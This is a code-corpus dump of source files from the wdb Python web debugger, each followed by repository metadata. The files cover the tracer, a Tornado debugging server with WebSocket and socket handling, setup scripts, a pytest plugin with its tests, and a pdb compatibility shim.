%r' % (frame, tb, exception, exception_description) ) self.reconnect_if_needed() self.stepping = not shell if not iframe_mode: opts = {} if shell: opts['type_'] = 'shell' if post_mortem: opts['type_'] = 'pm' self.open_browser(**opts) lvl = len(self.interaction_stack) if lvl: exception_description += ' [recursive%s]' % ( '^%d' % lvl if lvl > 1 else '' ) interaction = Interaction( self, frame, tb, exception, exception_description, init=init, shell=shell, shell_vars=shell_vars, source=source, timeout=timeout, ) self.interaction_stack.append(interaction) # For meta debugging purpose self._ui = interaction if self.begun: # Each new state sends the trace and selects a frame interaction.init() else: self.begun = True interaction.loop() self.interaction_stack.pop() if lvl: self.interaction_stack[-1].init() def handle_call(self, frame, argument_list): """This method is called when there is the remote possibility that we ever need to stop in this function.""" fun = frame.f_code.co_name log.info('Calling: %r' % fun) init = 'Echo|%s' % dump( { 'for': '__call__', 'val': '%s(%s)' % ( fun, ', '.join( [ '%s=%s' % (key, self.safe_better_repr(value)) for key, value in get_args(frame).items() ] ), ), } ) self.interaction( frame, init=init, exception_description='Calling %s' % fun ) def handle_line(self, frame, arg): """This function is called when we stop or break at this line.""" log.info('Stopping at line %s' % pretty_frame(frame)) self.interaction(frame) def handle_return(self, frame, return_value): """This function is called when a return trap is set here.""" self.obj_cache[id(return_value)] = return_value self.extra_vars['__return__'] = return_value fun = frame.f_code.co_name log.info('Returning from %r with value: %r' % (fun, return_value)) init = 'Echo|%s' % dump( {'for': '__return__', 'val': self.safe_better_repr(return_value)} ) self.interaction( frame, init=init, exception_description='Returning from %s with value %s' % (fun, return_value), ) def handle_exception(self, frame, exc_info): """This function is called if an exception occurs, but only if we are to stop at or just below this level.""" type_, value, tb = exc_info # Python 3 is broken see http://bugs.python.org/issue17413 _value = value if not isinstance(_value, BaseException): _value = type_(value) fake_exc_info = type_, _value, tb log.error('Exception during trace', exc_info=fake_exc_info) self.obj_cache[id(exc_info)] = exc_info self.extra_vars['__exception__'] = exc_info exception = type_.__name__ exception_description = str(value) init = 'Echo|%s' % dump( { 'for': '__exception__', 'val': escape('%s: %s') % (exception, exception_description), } ) # User exception is 4 frames away from exception frame = frame or sys._getframe().f_back.f_back.f_back.f_back self.interaction( frame, tb, exception, exception_description, init=init ) def breaks(self, frame, no_remove=False): """Return True if there's a breakpoint at frame""" for breakpoint in set(self.breakpoints): if breakpoint.breaks(frame): if breakpoint.temporary and not no_remove: self.breakpoints.remove(breakpoint) return True return False def get_file_breaks(self, filename): """List all file `filename` breakpoints""" return [ breakpoint for breakpoint in self.breakpoints if breakpoint.on_file(filename) ] def get_breaks_lno(self, filename): """List all line numbers that have a breakpoint""" return list( filter( lambda x: x is not None, [ getattr(breakpoint, 'line', None) for breakpoint in self.breakpoints if breakpoint.on_file(filename) ], ) ) def die(self): """Time to quit""" log.info('Time to die') if self.connected: try: self.send('Die') except Exception: pass if self._socket: self._socket.close() self.pop() def set_trace(frame=None, skip=0, server=None, port=None): """Set trace on current line, or on given frame""" frame = frame or sys._getframe().f_back for i in range(skip): if not frame.f_back: break frame = frame.f_back wdb = Wdb.get(server=server, port=port) wdb.set_trace(frame) return wdb def start_trace( full=False, frame=None, below=0, under=None, server=None, port=None ): """Start tracing program at callee level breaking on exception/breakpoints""" wdb = Wdb.get(server=server, port=port) if not wdb.stepping: wdb.start_trace(full, frame or sys._getframe().f_back, below, under) return wdb def stop_trace(frame=None, close_on_exit=False): """Stop tracing""" log.info('Stopping trace') wdb = Wdb.get(True) # Do not create an istance if there's None if wdb and (not wdb.stepping or close_on_exit): log.info('Stopping trace') wdb.stop_trace(frame or sys._getframe().f_back) if close_on_exit: wdb.die() return wdb class trace(object): def __init__(self, **kwargs): """Make a tracing context with `with trace():`""" self.kwargs = kwargs def __enter__(self): # 2 calls to get here kwargs = dict(self.kwargs) if 'close_on_exit' in kwargs: kwargs.pop('close_on_exit') kwargs.setdefault('frame', sys._getframe().f_back) start_trace(**kwargs) def __exit__(self, *args): kwargs = {} kwargs['frame'] = self.kwargs.get('frame', sys._getframe().f_back) kwargs['close_on_exit'] = self.kwargs.get('close_on_exit', False) stop_trace(**kwargs) def with_trace(fun): @wraps(fun) def traced(*args, **kwargs): with trace(): return fun(*args, **kwargs) return traced @atexit.register def cleanup(): """Close all sockets at exit""" for sck in list(Wdb._sockets): try: sck.close() except Exception: log.warn('Error in cleanup', exc_info=True) def shell(source=None, vars=None, server=None, port=None): """Start a shell sourcing source or using vars as locals""" Wdb.get(server=server, port=port).shell(source=source, vars=vars) # Pdb compatibility def post_mortem(t=None, server=None, port=None): if t is None: t = sys.exc_info()[2] if t is None: raise ValueError( "A valid traceback must be passed if no " "exception is being handled" ) wdb = Wdb.get(server=server, port=port) wdb.reset() wdb.interaction(None, t, post_mortem=True) def pm(server=None, port=None): post_mortem(sys.last_traceback, server=server, port=port)
37,782
Python
.py
1,039
24.584216
79
0.513524
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,480
setup.py
Kozea_wdb/server/setup.py
#!/usr/bin/env python # -*- coding: utf-8 -*- """ wdb.server """ import sys from setuptools import setup __version__ = '3.3.0' requires = [ "wdb==%s" % __version__, "tornado>=5.0, <6.0", "psutil>=2.1", 'tornado_systemd', ] if sys.platform == 'linux': requires.append('pyinotify') options = dict( name="wdb.server", version=__version__, description="An improbable web debugger through WebSockets (server)", long_description="See http://github.com/Kozea/wdb", author="Florian Mounier @ kozea", author_email="florian.mounier@kozea.fr", url="http://github.com/Kozea/wdb", license="GPLv3", platforms="Any", scripts=['wdb.server.py'], packages=['wdb_server'], install_requires=requires, package_data={ 'wdb_server': [ 'static/libs/material-design-lite/*', 'static/stylesheets/*', 'static/hipster.jpg', 'static/img/*.png', 'static/javascripts/wdb/*.min.js', 'templates/*.html', ] }, classifiers=[ "Development Status :: 4 - Beta", "Intended Audience :: Developers", "License :: OSI Approved :: GNU General Public License v3 (GPLv3)", "Operating System :: OS Independent", "Programming Language :: Python :: 2", "Programming Language :: Python :: 3", "Programming Language :: Python :: Implementation :: CPython", "Programming Language :: Python :: Implementation :: PyPy", "Topic :: Software Development :: Debuggers", ], ) setup(**options)
1,583
Python
.py
52
24.653846
75
0.602883
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,481
wdb.server.py
Kozea_wdb/server/wdb.server.py
#!/usr/bin/env python import os import socket from logging import DEBUG, INFO, WARNING, getLogger from tornado.ioloop import IOLoop from tornado.netutil import add_accept_handler, bind_sockets from tornado.options import options from tornado_systemd import SYSTEMD_SOCKET_FD, SystemdHTTPServer from wdb_server import server from wdb_server.streams import handle_connection log = getLogger('wdb_server') if options.debug: log.setLevel(INFO) if options.more: log.setLevel(DEBUG) else: log.setLevel(WARNING) if os.getenv('LISTEN_PID'): log.info('Getting socket from systemd') sck = socket.fromfd( SYSTEMD_SOCKET_FD + 1, # Second socket in .socket file socket.AF_INET6 if socket.has_ipv6 else socket.AF_INET, socket.SOCK_STREAM, ) sck.setblocking(0) sck.listen(128) sockets = [sck] else: log.info('Binding sockets') sockets = bind_sockets(options.socket_port) log.info('Accepting') for sck in sockets: add_accept_handler(sck, handle_connection) log.info('Listening') http_server = SystemdHTTPServer(server) http_server.listen(options.server_port) log.info('Starting loop') IOLoop.current().start()
1,181
Python
.py
38
27.815789
64
0.755497
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,482
state.py
Kozea_wdb/server/wdb_server/state.py
# *-* coding: utf-8 *-* # This file is part of wdb # # wdb Copyright (c) 2012-2016 Florian Mounier, Kozea # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import tornado.options from tornado.util import unicode_type from struct import pack import logging import json log = logging.getLogger('wdb_server') class BaseSockets(object): def __init__(self): self._sockets = {} def send(self, uuid, data, message=None): if message: data = data + '|' + json.dumps(message) if isinstance(data, unicode_type): data = data.encode('utf-8') sck = self.get(uuid) if sck: self._send(sck, data) else: log.warn('No socket found for %s' % uuid) def get(self, uuid): return self._sockets.get(uuid) def broadcast(self, cmd, message=None): for uuid in list(self._sockets.keys()): try: log.debug('Broadcast to socket %s' % uuid) self.send(uuid, cmd, message) except Exception: log.warn('Failed broadcast to socket %s' % uuid) self.close(uuid) self.remove(uuid) def add(self, uuid, sck): if uuid in self._sockets: self.remove(uuid) self.close(uuid) self._sockets[uuid] = sck def remove(self, uuid): sck = self._sockets.pop(uuid, None) if sck: syncwebsockets.broadcast( 'Remove' + self.__class__.__name__.rstrip('s'), uuid ) def close(self, uuid): sck = self.get(uuid) try: sck.close() except Exception: log.warn('Failed close to socket %s' % uuid) @property def uuids(self): return set(self._sockets.keys()) class Sockets(BaseSockets): def __init__(self): super(Sockets, self).__init__() self._filenames = {} def add(self, uuid, sck): super(Sockets, self).add(uuid, sck) syncwebsockets.broadcast('AddSocket', {'uuid': uuid}) def remove(self, uuid): super(Sockets, self).remove(uuid) self._filenames.pop(uuid, None) def get_filename(self, uuid): return self._filenames.get(uuid, '') def set_filename(self, uuid, filename): self._filenames[uuid] = filename syncwebsockets.broadcast( 'AddSocket', { 'uuid': uuid, 'filename': ( filename if tornado.options.options.show_filename else '' ), }, ) def _send(self, sck, data): sck.write(pack("!i", len(data))) sck.write(data) class WebSockets(BaseSockets): def _send(self, sck, data): if sck.ws_connection: sck.write_message(data) else: log.warn('Websocket is closed') def add(self, uuid, sck): super(WebSockets, self).add(uuid, sck) syncwebsockets.broadcast('AddWebSocket', uuid) class SyncWebSockets(WebSockets): # Not really need an uuid here but it avoids duplication def add(self, uuid, sck): super(WebSockets, self).add(uuid, sck) class Breakpoints(object): def __init__(self): self._breakpoints = [] def add(self, brk): if brk not in self._breakpoints: self._breakpoints.append(brk) syncwebsockets.broadcast('AddBreak|' + json.dumps(brk)) def remove(self, brk): if brk in self._breakpoints: self._breakpoints.remove(brk) syncwebsockets.broadcast('RemoveBreak|' + json.dumps(brk)) def get(self): return self._breakpoints sockets = Sockets() websockets = WebSockets() syncwebsockets = SyncWebSockets() breakpoints = Breakpoints()
4,374
Python
.py
122
28.008197
77
0.613599
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,483
streams.py
Kozea_wdb/server/wdb_server/streams.py
# *-* coding: utf-8 *-* # This file is part of wdb # # wdb Copyright (c) 2012-2016 Florian Mounier, Kozea # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import json from functools import partial from logging import getLogger from struct import unpack from tornado.iostream import IOStream, StreamClosedError from tornado.options import options from wdb_server.state import breakpoints, sockets, websockets log = getLogger('wdb_server') log.setLevel(10 if options.debug else 30) def on_close(stream, uuid): # None if the user closed the window log.info('uuid %s closed' % uuid) if websockets.get(uuid): websockets.send(uuid, 'Die') websockets.close(uuid) websockets.remove(uuid) sockets.remove(uuid) def read_frame(stream, uuid, frame): decoded_frame = frame.decode('utf-8') if decoded_frame == 'ServerBreaks': sockets.send(uuid, json.dumps(breakpoints.get())) elif decoded_frame == 'PING': log.info('%s PONG' % uuid) elif decoded_frame.startswith('UPDATE_FILENAME'): filename = decoded_frame.split('|', 1)[1] sockets.set_filename(uuid, filename) else: websockets.send(uuid, frame) try: stream.read_bytes(4, partial(read_header, stream, uuid)) except StreamClosedError: log.warn('Closed stream for %s' % uuid) def read_header(stream, uuid, length): length, = unpack("!i", length) try: stream.read_bytes(length, partial(read_frame, stream, uuid)) except StreamClosedError: log.warn('Closed stream for %s' % uuid) def assign_stream(stream, uuid): uuid = uuid.decode('utf-8') log.debug('Assigning stream to %s' % uuid) sockets.add(uuid, stream) stream.set_close_callback(partial(on_close, stream, uuid)) try: stream.read_bytes(4, partial(read_header, stream, uuid)) except StreamClosedError: log.warn('Closed stream for %s' % uuid) def read_uuid_size(stream, length): length, = unpack("!i", length) assert length == 36, 'Wrong uuid' try: stream.read_bytes(length, partial(assign_stream, stream)) except StreamClosedError: log.warn('Closed stream for getting uuid') def handle_connection(connection, address): log.info('Connection received from %s' % str(address)) stream = IOStream(connection, max_buffer_size=1024 * 1024 * 1024) # Getting uuid try: stream.read_bytes(4, partial(read_uuid_size, stream)) except StreamClosedError: log.warn('Closed stream for getting uuid length')
3,139
Python
.py
78
35.717949
71
0.710768
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,484
utils.py
Kozea_wdb/server/wdb_server/utils.py
# *-* coding: utf-8 *-* # This file is part of wdb # # wdb Copyright (c) 2012-2016 Florian Mounier, Kozea # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import fnmatch import os from glob import glob from logging import getLogger import psutil from tornado.ioloop import IOLoop from tornado.options import options from wdb_server.state import syncwebsockets log = getLogger('wdb_server') log.setLevel(10 if options.debug else 30) ioloop = IOLoop.current() try: import pyinotify except ImportError: LibPythonWatcher = None else: class LibPythonWatcher(object): def __init__(self, extra_search_path=None): inotify = pyinotify.WatchManager() self.files = glob('/usr/lib/libpython*') if not self.files: self.files = glob('/lib/libpython*') if extra_search_path is not None: # Handle custom installation paths for root, dirnames, filenames in os.walk(extra_search_path): for filename in fnmatch.filter(filenames, 'libpython*'): self.files.append(os.path.join(root, filename)) log.debug('Watching for %s' % self.files) self.notifier = pyinotify.TornadoAsyncNotifier( inotify, ioloop, self.notified, pyinotify.ProcessEvent() ) inotify.add_watch( self.files, pyinotify.EventsCodes.ALL_FLAGS['IN_OPEN'] | pyinotify.EventsCodes.ALL_FLAGS['IN_CLOSE_NOWRITE'], ) def notified(self, notifier): log.debug('Got notified for %s' % self.files) refresh_process() log.debug('Process refreshed') def close(self): log.debug('Closing for %s' % self.files) self.notifier.stop() def refresh_process(uuid=None): if uuid is not None: send = lambda cmd, data: syncwebsockets.send(uuid, cmd, data) else: send = syncwebsockets.broadcast remaining_pids = [] remaining_tids = [] for proc in psutil.process_iter(): try: cl = proc.cmdline() except ( psutil.ZombieProcess, psutil.AccessDenied, psutil.NoSuchProcess, ): continue else: if len(cl) == 0: continue binary = cl[0].split('/')[-1] if ( ('python' in binary or 'pypy' in binary) and proc.is_running() and proc.status() != psutil.STATUS_ZOMBIE ): try: try: cpu = proc.cpu_percent(interval=0.01) send( 'AddProcess', { 'pid': proc.pid, 'user': proc.username(), 'cmd': ' '.join(proc.cmdline()), 'threads': proc.num_threads(), 'time': proc.create_time(), 'mem': proc.memory_percent(), 'cpu': cpu, }, ) remaining_pids.append(proc.pid) for thread in proc.threads(): send('AddThread', {'id': thread.id, 'of': proc.pid}) remaining_tids.append(thread.id) except psutil.NoSuchProcess: pass except Exception: log.warn('', exc_info=True) continue send('KeepProcess', remaining_pids) send('KeepThreads', remaining_tids)
4,240
Python
.py
110
27.336364
76
0.563548
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,485
__init__.py
Kozea_wdb/server/wdb_server/__init__.py
# *-* coding: utf-8 *-* # This file is part of wdb # # wdb Copyright (c) 2012-2016 Florian Mounier, Kozea # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import json import logging import os import sys from multiprocessing import Process from uuid import uuid4 import tornado.httpclient import tornado.options import tornado.process import tornado.web import tornado.websocket from wdb_server.state import breakpoints, sockets, syncwebsockets, websockets try: import pkg_resources except ImportError: __version__ = "pkg_resources not found on PYTHON_PATH" else: try: __version__ = pkg_resources.require('wdb.server')[0].version except pkg_resources.DistributionNotFound: __version__ = "wdb.server is not installed" log = logging.getLogger('wdb_server') static_path = os.path.join(os.path.dirname(__file__), "static") class HomeHandler(tornado.web.RequestHandler): def get(self): self.render('home.html') def post(self): theme = self.request.arguments.get('theme') if theme and theme[0]: StyleHandler.theme = theme[0].decode('utf-8') self.redirect('/') # This handler is for extern server style access (ie: 500 page) # Because they cannot know which is the current theme class StyleHandler(tornado.web.RequestHandler): themes = [ theme.replace('wdb-', '').replace('.css', '') for theme in os.listdir(os.path.join(static_path, 'stylesheets')) if theme.startswith('wdb-') ] def get(self): self.redirect(self.static_url('stylesheets/wdb-%s.css' % self.theme)) class ActionHandler(tornado.web.RequestHandler): def get(self, uuid, action): if action == 'close': sockets.close(uuid) sockets.remove(uuid) websockets.close(uuid) websockets.remove(uuid) self.redirect('/') class DebugHandler(tornado.web.RequestHandler): def debug(self, fn): def run(): from wdb import Wdb Wdb.get().run_file(fn) Process(target=run).start() self.redirect('/') def get(self, fn): self.debug(fn) def post(self, fn): fn = self.request.arguments.get('debug_file') if fn and fn[0]: self.debug(fn[0].decode('utf-8')) class MainHandler(tornado.web.RequestHandler): def get(self, type_, uuid): self.render( 'wdb.html', uuid=uuid, new_version=server.new_version, type_=type_ ) class BaseWebSocketHandler(tornado.websocket.WebSocketHandler): """ Base class, used for doing the basic host checks before proceeding. """ def open(self, *args, **kwargs): protocol = self.request.headers.get( 'X-Forwarded-Proto', self.request.protocol ) host = '{protocol}://{host}'.format( protocol=protocol, host=self.request.headers['Host'] ) if self.request.headers['Origin'] != host: self.warn('Origin and host are not the same, closing websocket...') self.close() return self.on_open(*args, **kwargs) def on_open(self, *args, **kwargs): """ Method that should be overriden, containing the logic that should happen when a new websocket connection opens. At this point, the connection is already verified. Does nothing by default. """ pass class WebSocketHandler(BaseWebSocketHandler): def write(self, message): log.debug('socket -> websocket: %s' % message) message = message.decode('utf-8') if message.startswith('BreakSet|') or message.startswith( 'BreakUnset|' ): log.debug('Intercepted break') cmd, brk = message.split('|', 1) brk = json.loads(brk) if not brk['temporary']: del brk['temporary'] if cmd == 'BreakSet': breakpoints.add(brk) elif cmd == 'BreakUnset': breakpoints.remove(brk) self.write_message(message) def on_open(self, uuid): self.uuid = uuid if isinstance(self.uuid, bytes): self.uuid = self.uuid.decode('utf-8') if self.uuid in websockets.uuids: log.warn( 'Websocket already opened for %s. Closing previous one' % self.uuid ) websockets.send(self.uuid, 'Die') websockets.close(uuid) if self.uuid not in sockets.uuids: log.warn( 'Websocket opened for %s with no correponding socket' % self.uuid ) sockets.send(self.uuid, 'Die') self.close() return log.info('Websocket opened for %s' % self.uuid) websockets.add(self.uuid, self) def on_message(self, message): log.debug('websocket -> socket: %s' % message) if message.startswith('Broadcast|'): message = message.split('|', 1)[1] sockets.broadcast(message) else: sockets.send(self.uuid, message) def on_close(self): if hasattr(self, 'uuid'): log.info('Websocket closed for %s' % self.uuid) if not tornado.options.options.detached_session: sockets.send(self.uuid, 'Close') sockets.close(self.uuid) class SyncWebSocketHandler(BaseWebSocketHandler): def write(self, message): log.debug('server -> syncsocket: %s' % message) self.write_message(message) def on_open(self): self.uuid = str(uuid4()) syncwebsockets.add(self.uuid, self) if not LibPythonWatcher: syncwebsockets.send(self.uuid, 'StartLoop') def on_message(self, message): if '|' in message: cmd, data = message.split('|', 1) else: cmd, data = message, '' if cmd == 'ListSockets': for uuid in sockets.uuids: syncwebsockets.send( self.uuid, 'AddSocket', { 'uuid': uuid, 'filename': sockets.get_filename(uuid) if tornado.options.options.show_filename else '', }, ) elif cmd == 'ListWebsockets': for uuid in websockets.uuids: syncwebsockets.send(self.uuid, 'AddWebSocket', uuid) elif cmd == 'ListBreaks': for brk in breakpoints.get(): syncwebsockets.send(self.uuid, 'AddBreak', brk) elif cmd == 'RemoveBreak': brk = json.loads(data) breakpoints.remove(brk) # If it was here, it wasn't temporary brk['temporary'] = False sockets.broadcast('Unbreak', brk) elif cmd == 'RemoveUUID': sockets.close(data) sockets.remove(data) websockets.close(data) websockets.remove(data) elif cmd == 'ListProcesses': refresh_process(self.uuid) elif cmd == 'Pause': if int(data) == os.getpid(): log.debug('Pausing self') def self_shell(variables): # Debugging self import wdb wdb.set_trace() Process(target=self_shell, args=(globals(),)).start() else: log.debug('Pausing %s' % data) tornado.process.Subprocess( ['gdb', '-p', data, '-batch'] + [ "-eval-command=call %s" % hook for hook in [ 'PyGILState_Ensure()', 'PyRun_SimpleString(' '"import wdb; wdb.set_trace(skip=1)"' ')', 'PyGILState_Release($1)', ] ] ) elif cmd == 'RunFile': file_name = data def run(): from wdb import Wdb Wdb.get().run_file(file_name) Process(target=run).start() elif cmd == 'RunShell': def run(): from wdb import Wdb Wdb.get().shell() Process(target=run).start() def on_close(self): if hasattr(self, 'uuid'): syncwebsockets.remove(self.uuid) tornado.options.define( 'theme', default="clean", help="Wdb theme to use amongst %s" % StyleHandler.themes, ) tornado.options.define("debug", default=False, help="Debug mode") tornado.options.define( "unminified", default=False, help="Use the unminified js (for development only)", ) tornado.options.define( "more", default=False, help="Set the debug more verbose" ) tornado.options.define( "detached_session", default=False, help="Whether to continue program on browser close", ) tornado.options.define( "socket_port", default=19840, help="Port used to communicate with wdb instances", ) tornado.options.define( "server_port", default=1984, help="Port used to serve debugging pages" ) tornado.options.define( "show_filename", default=False, help="Whether to show filename in session list", ) tornado.options.define( "extra_search_path", default=False, help=( "Try harder to find the 'libpython*' shared library " "at the cost of a slower server startup." ), ) tornado.options.parse_command_line() from wdb_server.utils import ( refresh_process, LibPythonWatcher, ) # noqa isort:skip StyleHandler.theme = tornado.options.options.theme for l in ( log, logging.getLogger('tornado.access'), logging.getLogger('tornado.application'), logging.getLogger('tornado.general'), ): l.setLevel(10 if tornado.options.options.debug else 30) if LibPythonWatcher: LibPythonWatcher( sys.base_prefix if tornado.options.options.extra_search_path else None ) server = tornado.web.Application( [ (r"/", HomeHandler), (r"/style.css", StyleHandler), (r"/(\w+)/session/(.+)", MainHandler), (r"/debug/file/(.*)", DebugHandler), (r"/websocket/(.+)", WebSocketHandler), (r"/status", SyncWebSocketHandler), ], debug=tornado.options.options.debug, static_path=static_path, template_path=os.path.join(os.path.dirname(__file__), "templates"), ) http = tornado.httpclient.HTTPClient() server.new_version = None log.debug('Feching wdb_server simple pypi page') try: response = http.fetch( 'https://pypi.python.org/pypi/wdb.server/json', connect_timeout=1, request_timeout=1, ) log.debug('Parsing pypi page') info = json.loads(response.buffer.read().decode('utf-8')) version = info['info']['version'] if version != __version__: server.new_version = version except Exception: pass # Prevent some weird crash on cleanup del http
11,723
Python
.py
328
26.887195
79
0.596858
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,486
setup.py
Kozea_wdb/flask_wdb_hook/setup.py
import os import sys from distutils.sysconfig import get_python_lib from setuptools import setup site_packages_path = get_python_lib().replace(sys.prefix + os.path.sep, '') setup( name="flask-wdb-hook", version='0.2.1', author="Florian Mounier @ kozea", author_email="florian.mounier@kozea.fr", url="http://github.com/Kozea/wdb", license='GPLv3', packages=[], install_requires=['wdb >= 3.3.0'], data_files=[(site_packages_path, ['flask-wdb.pth'])], description="Hook to replace flask werkzeug debugger with wdb.", )
559
Python
.py
17
29.352941
75
0.697588
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,487
setup.py
Kozea_wdb/pytest_wdb/setup.py
from setuptools import setup setup( name="pytest_wdb", version='0.4.0', author="Florian Mounier @ kozea", author_email="florian.mounier@kozea.fr", url="http://github.com/Kozea/wdb", license='GPLv3', py_modules=['pytest_wdb'], install_requires=['wdb'], description="Trace pytest tests with wdb to halt on error with --wdb.", entry_points={'pytest11': ['pytest_wdb = pytest_wdb']}, )
423
Python
.py
13
28.384615
75
0.667482
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,488
pytest_wdb.py
Kozea_wdb/pytest_wdb/pytest_wdb.py
"""Wdb plugin for pytest.""" import wdb def pytest_addoption(parser): parser.addoption( "--wdb", action="store_true", help="Trace tests with wdb to halt on error.", ) def pytest_configure(config): if config.option.wdb: config.pluginmanager.register(Trace(), '_wdb') config.pluginmanager.unregister(name='pdb') class Trace(object): def pytest_collection_modifyitems(config, items): for item in items: item.obj = wdb.with_trace(item.obj)
518
Python
.py
16
26.25
54
0.659274
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,489
test_wdb.py
Kozea_wdb/pytest_wdb/test_wdb.py
# -*- coding: utf-8 -*- from multiprocessing import Process, Lock from multiprocessing.connection import Listener import wdb pytest_plugins = ('pytester',) class FakeWdbServer(Process): def __init__(self, stops=False): wdb.SOCKET_SERVER = 'localhost' wdb.SOCKET_PORT = 18273 wdb.WDB_NO_BROWSER_AUTO_OPEN = True self.stops = stops self.lock = Lock() super(FakeWdbServer, self).__init__() def __enter__(self): self.start() self.lock.acquire() def __exit__(self, *args): self.lock.release() self.join() wdb.Wdb.pop() def run(self): listener = Listener(('localhost', 18273)) try: listener._listener._socket.settimeout(10) except Exception: pass connection = listener.accept() # uuid connection.recv_bytes().decode('utf-8') # ServerBreaks connection.recv_bytes().decode('utf-8') # Empty breaks connection.send_bytes(b'{}') # Continuing if self.stops: connection.recv_bytes().decode('utf-8') connection.send_bytes(b'Continue') self.lock.acquire() connection.close() listener.close() self.lock.release() def test_ok(testdir): p = testdir.makepyfile( ''' def test_run(): print('Test has been run') ''' ) with FakeWdbServer(): result = testdir.runpytest_inprocess('--wdb', p) result.stdout.fnmatch_lines(['plugins:*wdb*']) assert result.ret == 0 def test_ok_run_once(testdir): p = testdir.makepyfile( ''' def test_run(): print('Test has been run') ''' ) with FakeWdbServer(): result = testdir.runpytest_inprocess('--wdb', '-s', p) assert ( len( [ line for line in result.stdout.lines if line == 'test_ok_run_once.py Test has been run' ] ) == 1 ) assert result.ret == 0 # Todo implement fake wdb server def test_fail_run_once(testdir): p = testdir.makepyfile( ''' def test_run(): print('Test has been run') assert 0 ''' ) with FakeWdbServer(stops=True): result = testdir.runpytest_inprocess('--wdb', '-s', p) assert ( len( [ line for line in result.stdout.lines if line == 'test_fail_run_once.py Test has been run' ] ) == 1 ) assert result.ret == 1 def test_error_run_once(testdir): p = testdir.makepyfile( ''' def test_run(): print('Test has been run') 1/0 ''' ) with FakeWdbServer(stops=True): result = testdir.runpytest_inprocess('--wdb', '-s', p) assert ( len( [ line for line in result.stdout.lines if line == 'test_error_run_once.py Test has been run' ] ) == 1 ) assert result.ret == 1
3,145
Python
.py
115
18.843478
69
0.531385
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,490
setup.py
Kozea_wdb/wdb_over_pdb/setup.py
import sys from setuptools import setup, find_packages single_version = '--single-version-externally-managed' if single_version in sys.argv: sys.argv.remove(single_version) setup( name='wdb_over_pdb', version='0.1.1', author="Florian Mounier @ kozea", author_email="florian.mounier@kozea.fr", py_modules=['pdb'], url="http://github.com/Kozea/wdb", license='GPLv3', description='Hack to force use of wdb over pdb ' '(Useful for thing like py.test --pdb)', install_requires=["wdb"], )
529
Python
.py
17
27.411765
54
0.696078
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,491
pdb.py
Kozea_wdb/wdb_over_pdb/pdb.py
from wdb import * class Pdb(Wdb): pass def import_from_stdlib(name): """Copied from pdbpp https://bitbucket.org/antocuni/pdb""" import os import types import code # arbitrary module which stays in the same dir as pdb stdlibdir, _ = os.path.split(code.__file__) pyfile = os.path.join(stdlibdir, name + '.py') result = types.ModuleType(name) exec(compile(open(pyfile).read(), pyfile, 'exec'), result.__dict__) return result old = import_from_stdlib('pdb')
502
Python
.py
14
31.5
71
0.681913
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,492
setup.py
tgalal_yowsup/setup.py
